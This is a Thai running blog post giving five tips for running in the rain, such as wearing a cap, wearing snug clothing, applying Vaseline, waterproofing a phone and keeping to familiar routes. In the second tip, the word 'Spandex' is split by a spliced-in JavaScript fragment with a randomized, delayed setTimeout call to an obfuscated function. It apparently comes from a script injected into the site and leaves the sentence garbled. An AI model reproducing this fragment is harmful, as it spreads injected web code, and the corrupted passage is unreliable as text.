• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

5 ทิปง่ายๆ สำหรับการวิ่งกลางสายฝน

kan by kan
4 October 2017
in Running Tips, Tips & Technics
0
Multi-Functional outdoor smart watch โดย SAMSUNG GEAR S3 FRONTIER และ GEAR S3 CLASSIC
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เสน่ห์ของการวิ่งกลางสายฝนก็คือ วิ่งไปทั้งๆ ที่เปียกนี้แหละ เท่จะตาย ความตั้งใจอันเด็ดเดียว ใครมาขวางก็ไม่ได้ แต่ใครไม่อยากเปียกแต่ก้อยากวิ่ง แนะนำให้ลองใช้ลู่วิ่งในยิมแทนละกัน หรือจะใช้การปั่นจักรยานแบบ Stationary Bike ก็ได้ จะได้ใช้กล้ามเนื้อชุดอื่นบ้าง และได้ออกกำลังกายแบบคาร์ดิโอไปในตัว

เรามาดูกันว่าทิปการวิ่งกลางสายฝนมีอะไรกันบ้าง…

1. สวมหมวกหรือหมวก Visor การใส่หมวกช่วยให้วิสัยทัศน์การมองเห็นดีขึ้น ปีกหมวกจะช่วยป้องกันเม็ดฝนและน้ำไหลเข้าตา ให้คุณมองเห็นเส้นทางวิ่งชัดเจนและไม่ถูกรบกวน

2. ใส่ชุดรับรูปเข้าไว้ สาเหตุที่ต้องใส่เสื้อรัดๆ ก็เพราะว่าการใส่เสื้อกางกางวิ่งทั่วไปที่หลวมๆ สบายๆ เวลาเปียกจะอุ้มน้ำไว้เยอะ หนักและรีดน้ำออกได้ช้า หรือใส่เสื้อน้อยชิ้นเข้าไว้ เสื้อกล้ามตัวเดียวและกางกางวิ่งที่ฟิตๆ หน่อย จะเป็นแบบรัดกล้ามเนื้อหรือแนบเนื้อก็ได้ เนื้อผ้าที่แนะนำจะเป็นพวก Spandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andex

3. ทาวาสลีนตามข้อพับและตามพื้นที่ที่มีโอกาสเสียดสี เมื่อผ้าเปียกความชื่นจะทำให้เกิดการเสียดสีมากขึ้น การทาวาสลีนช่วยลดการเกิดแผลถลอกจากการเสียดสีของเสื้อการผิวหนัก หรือผิวหนังกับผิวหนังตามบริเวณข้อพับต่างๆ

4. ปกป้องอุปกรณ์อิเล็กทรอนนิกส์ของคุณซะ มือถือส่วนมากจะไม่ได้ออกแบบมาสำหรับลุยน้ำ สำหรับรุ่นที่กันน้ำได้ก็จะมีราคาสูงขึ้นมาหน่อย แต่ใครที่ไม่มีก็สามารถใช้ถุง Ziplock หรือจะใช้ถุงพลาสติกแก้ขัดก็ได้ เวลาเสื้อผ้าเปียกมากๆ เข้า น้ำมันจะซึมเข้ามือถือเราได้ และสำหรับใครที่มีนาฬิกาวิ่ง ลองตรวจเช็คให้ดีว่า รุ่นที่คุณใส่นั้นกันน้ำหรือเปล่า ส่วนใครที่ชอบฟังเพลงระหว่างวิ่ง จะใช้หูฟังก็แนะนำดูรุ่นที่กันน้ำละกัน แต่ส่วนตัวในวันที่วิ่งตากฝนพร่ำๆ ควรวิ่งตัวเปล่าดีที่สุด ฝนและน้ำมักมักจะไหลทะลุทะลวงเข้าส่วนต่างๆ คนที่ใส่หูฟังเวลาวิ่งระวังน้ำฝนไหลเข้าหูนะ

5. ใช้เส้นทางที่คุ้นเคย เวลาวิ่งในวันฝนตก สำคัญคือต้องรู้ทางหนีที่ไล่ของสนามวิ่ง ประตูเข้าออกสนาม ระยะทางของสนาม ห้องน้ำ ป้อมยาม การวิ่งในที่เปิดและต่างถิ่นไม่แนะนำอย่างยิ่ง ดีที่สุดคือวิ่งในสวน เพราะเราคุ้นเคยกับเส้นทาง เวลาเกิดฝนเทมากๆ เข้าหรือไม่ไหวจริงๆ จะได้หลบฝนหรือหาจุดพักได้สบาย

 

ShareTweetShare
kan

kan

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • ปั่นช้าๆ รอบขาต่ำ (Low cadence) มีประโยชน์มากกว่าที่คุณคิด

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.